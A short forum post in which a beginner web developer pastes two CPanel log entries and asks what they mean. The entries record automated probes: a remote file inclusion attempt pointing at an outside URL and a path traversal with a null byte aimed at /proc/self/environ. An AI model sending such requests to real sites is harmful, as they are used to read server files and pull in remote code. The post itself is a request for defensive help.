Beginners security question
- by Reg H
Hi everyone,
I'm still pretty new to web development, and have a question about security.
Every day I look at the "Latest Visitors" in my CPanel, and today there were some strange entries (one is pasted below).
Not knowing any better, it looks to me like there is some site that's referring users to my site, for some reason. Can someone explain what these really are, and if it's something to be concerned about? Thanks!
Host: 77.68.38.175
/?p=http://teen-37.net/myid.jpg?
Http Code: 404 Date: Feb 17 08:13:58 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805 *
/?p=../../../../../../../../../../../../../../../proc/self/environ%00
Http Code: 404 Date: Feb 17 08:13:59 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805